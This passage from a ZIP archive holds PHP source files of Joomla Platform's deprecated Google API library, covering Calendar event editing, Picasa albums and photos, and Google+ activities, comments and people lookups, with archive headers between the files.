if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to edit a Google Calendar event
*
* @param string $calendarID Calendar ID
* @param string $eventID ID of the event to change
* @param array $options Event settings
* @param boolean $notify Notify participants of changes
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function editEvent($calendarID, $eventID, $options, $notify =
false)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/calendar/v3/calendars/';
$url .= urlencode($calendarID) . '/events/' .
urlencode($eventID) . ($notify ? '?sendNotifications=true' :
'');
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'put');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
}
PK�d�[�/�m'm'data/picasa/album.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Picasa data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPicasaAlbum extends JGoogleData
{
/**
* @var SimpleXMLElement The album's XML
* @since 3.1.4
*/
protected $xml;
/**
* Constructor.
*
* @param SimpleXMLElement $xml XML from Google
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(SimpleXMLElement $xml, Registry $options =
null, JGoogleAuth $auth = null)
{
$this->xml = $xml;
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://picasaweb.google.com/data/');
}
}
/**
* Method to delete a Picasa album
*
* @param mixed $match Check for most up to date album
*
* @return boolean Success or failure.
*
* @since 3.1.4
* @throws Exception
* @throws RuntimeException
* @throws UnexpectedValueException
*/
public function delete($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$jdata = $this->query($url, null, array('GData-Version'
=> 2, 'If-Match' => $match), 'delete');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
if ($jdata->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
$this->xml = null;
return true;
}
else
{
return false;
}
}
/**
* Method to get the album link
*
* @param string $type Type of link to return
*
* @return string Link or false on failure
*
* @since 3.1.4
*/
public function getLink($type = 'edit')
{
$links = $this->xml->link;
foreach ($links as $link)
{
if ($link->attributes()->rel == $type)
{
return (string) $link->attributes()->href;
}
}
return false;
}
/**
* Method to get the title of the album
*
* @return string Album title
*
* @since 3.1.4
*/
public function getTitle()
{
return (string) $this->xml->children()->title;
}
/**
* Method to get the summary of the album
*
* @return string Album summary
*
* @since 3.1.4
*/
public function getSummary()
{
return (string) $this->xml->children()->summary;
}
/**
* Method to get the location of the album
*
* @return string Album location
*
* @since 3.1.4
*/
public function getLocation()
{
return (string) $this->xml->children('gphoto',
true)->location;
}
/**
* Method to get the access level of the album
*
* @return string Album access level
*
* @since 3.1.4
*/
public function getAccess()
{
return (string) $this->xml->children('gphoto',
true)->access;
}
/**
* Method to get the time of the album
*
* @return double Album time
*
* @since 3.1.4
*/
public function getTime()
{
return (double) $this->xml->children('gphoto',
true)->timestamp / 1000;
}
/**
* Method to set the title of the album
*
* @param string $title New album title
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setTitle($title)
{
$this->xml->children()->title = $title;
return $this;
}
/**
* Method to set the summary of the album
*
* @param string $summary New album summary
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setSummary($summary)
{
$this->xml->children()->summary = $summary;
return $this;
}
/**
* Method to set the location of the album
*
* @param string $location New album location
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setLocation($location)
{
$this->xml->children('gphoto', true)->location =
$location;
return $this;
}
/**
* Method to set the access level of the album
*
* @param string $access New album access
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setAccess($access)
{
$this->xml->children('gphoto', true)->access =
$access;
return $this;
}
/**
* Method to set the time of the album
*
* @param int $time New album time
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setTime($time)
{
$this->xml->children('gphoto', true)->timestamp =
$time * 1000;
return $this;
}
/**
* Method to modify a Picasa Album
*
* @param string $match Optional eTag matching parameter
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws Exception
*/
public function save($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$headers = array('GData-Version' => 2,
'Content-type' => 'application/atom+xml',
'If-Match' => $match);
$jdata = $this->query($url, $this->xml->asXml(), $headers,
'put');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
/**
* Refresh Picasa Album
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function refresh()
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
/**
* Method to retrieve a list of Picasa Photos
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listPhotos()
{
if ($this->isAuthenticated())
{
$url =
$this->getLink('http://schemas.google.com/g/2005#feed');
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$xml = $this->safeXml($jdata->body);
if (isset($xml->children()->entry))
{
$items = array();
foreach ($xml->children()->entry as $item)
{
$items[] = new JGoogleDataPicasaPhoto($item, $this->options,
$this->auth);
}
return $items;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Add photo
*
* @param string $file Path of file to upload
* @param string $title Title to give to file (defaults to filename)
* @param string $summary Description of the file
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws RuntimeException
*/
public function upload($file, $title = '', $summary =
'')
{
if ($this->isAuthenticated())
{
jimport('joomla.filesystem.file');
$title = $title != '' ? $title : JFile::getName($file);
if (!($type = $this->getMime($file)))
{
throw new RuntimeException('Inappropriate file type.');
}
if (!($data = file_get_contents($file)))
{
throw new RuntimeException("Cannot access file: `$file`");
}
$xml = new SimpleXMLElement('<entry></entry>');
$xml->addAttribute('xmlns',
'http://www.w3.org/2005/Atom');
$xml->addChild('title', $title);
$xml->addChild('summary', $summary);
$cat = $xml->addChild('category', '');
$cat->addAttribute('scheme',
'http://schemas.google.com/g/2005#kind');
$cat->addAttribute('term',
'http://schemas.google.com/photos/2007#photo');
$post = "Media multipart posting\n";
$post .= "--END_OF_PART\n";
$post .= "Content-Type: application/atom+xml\n\n";
$post .= $xml->asXml() . "\n";
$post .= "--END_OF_PART\n";
$post .= "Content-Type: {$type}\n\n";
$post .= $data;
$jdata = $this->query($this->getLink(), $post,
array('GData-Version' => 2, 'Content-Type:
multipart/related'), 'post');
return new JGoogleDataPicasaPhoto($this->safeXml($jdata->body),
$this->options, $this->auth);
}
else
{
return false;
}
}
/**
* Add photo
*
* @param string $file Filename
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
protected function getMime($file)
{
switch (strtolower(JFile::getExt($file)))
{
case 'bmp':
case 'bm':
return 'image/bmp';
case 'gif':
return 'image/gif';
case 'jpg':
case 'jpeg':
case 'jpe':
case 'jif':
case 'jfif':
case 'jfi':
return 'image/jpeg';
case 'png':
return 'image/png';
case '3gp':
return 'video/3gpp';
case 'avi':
return 'video/avi';
case 'mov':
case 'moov':
case 'qt':
return 'video/quicktime';
case 'mp4':
case 'm4a':
case 'm4p':
case 'm4b':
case 'm4r':
case 'm4v':
return 'video/mp4';
case 'mpg':
case 'mpeg':
case 'mp1':
case 'mp2':
case 'mp3':
case 'm1v':
case 'm1a':
case 'm2a':
case 'mpa':
case 'mpv':
return 'video/mpeg';
case 'asf':
return 'video/x-ms-asf';
case 'wmv':
return 'video/x-ms-wmv';
default:
return false;
}
}
}
PK�d�[���data/picasa/photo.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Picasa data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPicasaPhoto extends JGoogleData
{
/**
* @var SimpleXMLElement The photo's XML
* @since 3.1.4
*/
protected $xml;
/**
* Constructor.
*
* @param SimpleXMLElement $xml XML from Google
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(SimpleXMLElement $xml, Registry $options =
null, JGoogleAuth $auth = null)
{
$this->xml = $xml;
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://picasaweb.google.com/data/');
}
}
/**
* Method to delete a Picasa photo
*
* @param mixed $match Check for most up to date photo
*
* @return boolean Success or failure.
*
* @since 3.1.4
* @throws Exception
* @throws RuntimeException
* @throws UnexpectedValueException
*/
public function delete($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$jdata = $this->query($url, null, array('GData-Version'
=> 2, 'If-Match' => $match), 'delete');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
if ($jdata->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
$this->xml = null;
return true;
}
else
{
return false;
}
}
/**
* Method to get the photo link
*
* @param string $type Type of link to return
*
* @return string Link or false on failure
*
* @since 3.1.4
*/
public function getLink($type = 'edit')
{
$links = $this->xml->link;
foreach ($links as $link)
{
if ($link->attributes()->rel == $type)
{
return (string) $link->attributes()->href;
}
}
return false;
}
/**
* Method to get the photo's URL
*
* @return string Link
*
* @since 3.1.4
*/
public function getUrl()
{
return (string)
$this->xml->children()->content->attributes()->src;
}
/**
* Method to get the photo's thumbnails
*
* @return array An array of thumbnails
*
* @since 3.1.4
*/
public function getThumbnails()
{
$thumbs = array();
foreach ($this->xml->children('media',
true)->group->thumbnail as $item)
{
$url = (string) $item->attributes()->url;
$width = (int) $item->attributes()->width;
$height = (int) $item->attributes()->height;
$thumbs[$width] = array('url' => $url, 'w' =>
$width, 'h' => $height);
}
return $thumbs;
}
/**
* Method to get the title of the photo
*
* @return string Photo title
*
* @since 3.1.4
*/
public function getTitle()
{
return (string) $this->xml->children()->title;
}
/**
* Method to get the summary of the photo
*
* @return string Photo description
*
* @since 3.1.4
*/
public function getSummary()
{
return (string) $this->xml->children()->summary;
}
/**
* Method to get the access level of the photo
*
* @return string Photo access level
*
* @since 3.1.4
*/
public function getAccess()
{
return (string) $this->xml->children('gphoto',
true)->access;
}
/**
* Method to get the time of the photo
*
* @return double Photo time
*
* @since 3.1.4
*/
public function getTime()
{
return (double) $this->xml->children('gphoto',
true)->timestamp / 1000;
}
/**
* Method to get the size of the photo
*
* @return int Photo size
*
* @since 3.1.4
*/
public function getSize()
{
return (int) $this->xml->children('gphoto',
true)->size;
}
/**
* Method to get the height of the photo
*
* @return int Photo height
*
* @since 3.1.4
*/
public function getHeight()
{
return (int) $this->xml->children('gphoto',
true)->height;
}
/**
* Method to get the width of the photo
*
* @return int Photo width
*
* @since 3.1.4
*/
public function getWidth()
{
return (int) $this->xml->children('gphoto',
true)->width;
}
/**
* Method to set the title of the photo
*
* @param string $title New photo title
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setTitle($title)
{
$this->xml->children()->title = $title;
return $this;
}
/**
* Method to set the summary of the photo
*
* @param string $summary New photo description
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setSummary($summary)
{
$this->xml->children()->summary = $summary;
return $this;
}
/**
* Method to set the access level of the photo
*
* @param string $access New photo access level
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setAccess($access)
{
$this->xml->children('gphoto', true)->access =
$access;
return $this;
}
/**
* Method to set the time of the photo
*
* @param int $time New photo time
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setTime($time)
{
$this->xml->children('gphoto', true)->timestamp =
$time * 1000;
return $this;
}
/**
* Method to modify a Picasa Photo
*
* @param string $match Optional eTag matching parameter
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
public function save($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$headers = array('GData-Version' => 2,
'Content-type' => 'application/atom+xml',
'If-Match' => $match);
$jdata = $this->query($url, $this->xml->asXml(), $headers,
'put');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
/**
* Refresh photo data
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function refresh()
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
}
PK�d�[�[�data/picasa.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Picasa data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPicasa extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://picasaweb.google.com/data/');
}
}
/**
* Method to retrieve a list of Picasa Albums
*
* @param string $userID ID of user
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listAlbums($userID = 'default')
{
if ($this->isAuthenticated())
{
$url = 'https://picasaweb.google.com/data/feed/api/user/' .
urlencode($userID);
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$xml = $this->safeXml($jdata->body);
if (isset($xml->children()->entry))
{
$items = array();
foreach ($xml->children()->entry as $item)
{
$items[] = new JGoogleDataPicasaAlbum($item, $this->options,
$this->auth);
}
return $items;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to create a Picasa Album
*
* @param string $userID ID of user
* @param string $title New album title
* @param string $access New album access settings
* @param string $summary New album summary
* @param string $location New album location
* @param int $time New album timestamp
* @param array $keywords New album keywords
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
public function createAlbum($userID = 'default', $title =
'', $access = 'private', $summary = '',
$location = '', $time = false, $keywords = array())
{
if ($this->isAuthenticated())
{
$time = $time ? $time : time();
$title = $title != '' ? $title : date('F j, Y');
$xml = new SimpleXMLElement('<entry></entry>');
$xml->addAttribute('xmlns',
'http://www.w3.org/2005/Atom');
$xml->addChild('title', $title);
$xml->addChild('summary', $summary);
$xml->addChild('gphoto:location', $location,
'http://schemas.google.com/photos/2007');
$xml->addChild('gphoto:access', $access);
$xml->addChild('gphoto:timestamp', $time);
$media = $xml->addChild('media:group', '',
'http://search.yahoo.com/mrss/');
$media->addChild('media:keywords', implode(', ',
$keywords));
$cat = $xml->addChild('category', '');
$cat->addAttribute('scheme',
'http://schemas.google.com/g/2005#kind');
$cat->addAttribute('term',
'http://schemas.google.com/photos/2007#album');
$url = 'https://picasaweb.google.com/data/feed/api/user/' .
urlencode($userID);
$jdata = $this->query($url, $xml->asXml(),
array('GData-Version' => 2, 'Content-type' =>
'application/atom+xml'), 'post');
$xml = $this->safeXml($jdata->body);
return new JGoogleDataPicasaAlbum($xml, $this->options,
$this->auth);
}
else
{
return false;
}
}
/**
* Get Picasa Album
*
* @param string $url URL of album to get
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getAlbum($url)
{
if ($this->isAuthenticated())
{
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$xml = $this->safeXml($jdata->body);
return new JGoogleDataPicasaAlbum($xml, $this->options,
$this->auth);
}
else
{
return false;
}
}
}
PK�d�[�MM�nndata/plus/activities.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlusActivities extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* List all of the activities in the specified collection for a particular
user.
*
* @param string $userId The ID of the user to get activities
for. The special value "me" can be used to indicate the
authenticated user.
* @param string $collection The collection of activities to list.
Acceptable values are: "public".
* @param string $fields Used to specify the fields you want
returned.
* @param integer $max The maximum number of people to include
in the response, used for paging.
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
* @param string $alt Specifies an alternative representation
type. Acceptable values are: "json" - Use JSON format (default)
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function listActivities($userId, $collection, $fields = null, $max
= 10, $token = null, $alt = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') . 'people/' .
$userId . '/activities/' . $collection;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if max is specified.
if ($max != 10)
{
$url .= (strpos($url, '?') === false) ?
'?maxResults=' : '&maxResults=';
$url .= $max;
}
// Check if token is specified.
if ($token)
{
$url .= (strpos($url, '?') === false) ?
'?pageToken=' : '&pageToken=';
$url .= $token;
}
// Check if alt is specified.
if ($alt)
{
$url .= (strpos($url, '?') === false) ? '?alt=' :
'&alt=';
$url .= $alt;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Get an activity.
*
* @param string $id The ID of the activity to get.
* @param string $fields Used to specify the fields you want returned.
* @param string $alt Specifies an alternative representation type.
Acceptable values are: "json" - Use JSON format (default)
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function getActivity($id, $fields = null, $alt = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities/' . $id;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if alt is specified.
if ($alt)
{
$url .= (strpos($url, '?') === false) ? '?alt=' :
'&alt=';
$url .= $alt;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Search all public activities.
*
* @param string $query Full-text search query string.
* @param string $fields Used to specify the fields you want
returned.
* @param string $language Specify the preferred language to search
with. https://developers.google.com/+/api/search#available-languages
* @param integer $max The maximum number of people to include in
the response, used for paging.
* @param string $order Specifies how to order search results.
Acceptable values are "best" and "recent".
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function search($query, $fields = null, $language = null, $max =
10, $order = null, $token = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities?query=' . urlencode($query);
// Check if fields is specified.
if ($fields)
{
$url .= '&fields=' . $fields;
}
// Check if language is specified.
if ($language)
{
$url .= '&language=' . $language;
}
// Check if max is specified.
if ($max != 10)
{
$url .= '&maxResults=' . $max;
}
// Check if order is specified.
if ($order)
{
$url .= '&orderBy=' . $order;
}
// Check of token is specified.
if ($token)
{
$url .= '&pageToken=' . $token;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
}
PK�d�[p�g�
�
data/plus/comments.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlusComments extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* List all of the comments for an activity.
*
* @param string $activityId The ID of the activity to get comments
for.
* @param string $fields Used to specify the fields you want
returned.
* @param integer $max The maximum number of people to include
in the response, used for paging.
* @param string $order The order in which to sort the list of
comments. Acceptable values are "ascending" and
"descending".
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
* @param string $alt Specifies an alternative representation
type. Acceptable values are: "json" - Use JSON format (default)
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function listComments($activityId, $fields = null, $max = 20,
$order = null, $token = null, $alt = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities/' . $activityId . '/comments';
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if max is specified.
if ($max != 20)
{
$url .= (strpos($url, '?') === false) ?
'?maxResults=' : '&maxResults=';
$url .= $max;
}
// Check if order is specified.
if ($order)
{
$url .= (strpos($url, '?') === false) ? '?orderBy='
: '&orderBy=';
$url .= $order;
}
// Check of token is specified.
if ($token)
{
$url .= (strpos($url, '?') === false) ?
'?pageToken=' : '&pageToken=';
$url .= $token;
}
// Check if alt is specified.
if ($alt)
{
$url .= (strpos($url, '?') === false) ? '?alt=' :
'&alt=';
$url .= $alt;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Get a comment.
*
* @param string $id The ID of the comment to get.
* @param string $fields Used to specify the fields you want returned.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function getComment($id, $fields = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') . 'comments/'
. $id;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
}
PK�d�[�W���data/plus/people.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlusPeople extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* Get a person's profile.
*
* @param string $id The ID of the person to get the profile for.
The special value "me" can be used to indicate the authenticated
user.
* @param string $fields Used to specify the fields you want returned.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function getPeople($id, $fields = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') . 'people/' .
$id;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Search all public profiles.
*
* @param string $query Specify a query string for full text
search of public text in all profiles.
* @param string $fields Used to specify the fields you want
returned.
* @param string $language Specify the preferred language to search
with. https://developers.google.com/+/api/search#available-languages
* @param integer $max The maximum number of people to include in
the response, used for paging.
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function search($query, $fields = null, $language = null, $max =
10, $token = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'people?query=' . urlencode($query);
// Check if fields is specified.
if ($fields)
{
$url .= '&fields=' . $fields;
}
// Check if language is specified.
if ($language)
{
$url .= '&language=' . $language;
}
// Check if max is specified.
if ($max != 10)
{
$url .= '&maxResults=' . $max;
}
// Check of token is specified.
if ($token)
{
$url .= '&pageToken=' . $token;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* List all of the people in the specified collection for a particular
activity.
*
* @param string $activityId The ID of the activity to get the list
of people for.
* @param string $collection The collection of people to list.
Acceptable values are "plusoners" and "resharers".
* @param string $fields Used to specify the fields you want
returned.
* @param integer $max The maximum number of people to include
in the response, used for paging.
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function listByActivity($activityId, $collection, $fields = null,
$max = 10, $token = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities/' . $activityId . '/people/' . $collection;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if max is specified.
if ($max != 10)
{
$url .= (strpos($url, '?') === false) ?
'?maxResults=' : '&maxResults=';
$url .= $max;
}
// Check of token is specified.
if ($token)
{
$url .= (strpos($url, '?') === false) ?
'?pageToken=' : '&pageToken=';
$url .= $token;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
}
PK�d�[X����
data/plus.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlus extends JGoogleData
{
/**
* @var JGoogleDataPlusPeople Google+ API object for people.
* @since 3.1.4
*/
protected $people;
/**
* @var JGoogleDataPlusActivities Google+ API object for people.
* @since 3.1.4
*/
protected $activities;
/**
* @var JGoogleDataPlusComments Google+ API object for people.
* @since 3.1.4
*/
protected $comments;
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
// Setup the default API url if not already set.
$options->def('api.url',
'https://www.googleapis.com/plus/v1/');
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JGoogleDataPlus Google+ API object (people, activities,
comments).
*
* @since 3.1.4
*/
public function __get($name)
{
switch ($name)
{
case 'people':
if ($this->people == null)
{
$this->people = new JGoogleDataPlusPeople($this->options,
$this->auth);
}
return $this->people;
case 'activities':
if ($this->activities == null)
{
$this->activities = new
JGoogleDataPlusActivities($this->options, $this->auth);
}
return $this->activities;
case 'comments':
if ($this->comments == null)
{
$this->comments = new JGoogleDataPlusComments($this->options,
$this->auth);
}
return $this->comments;
}
}
}
PK�d�[��=�ttdata.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
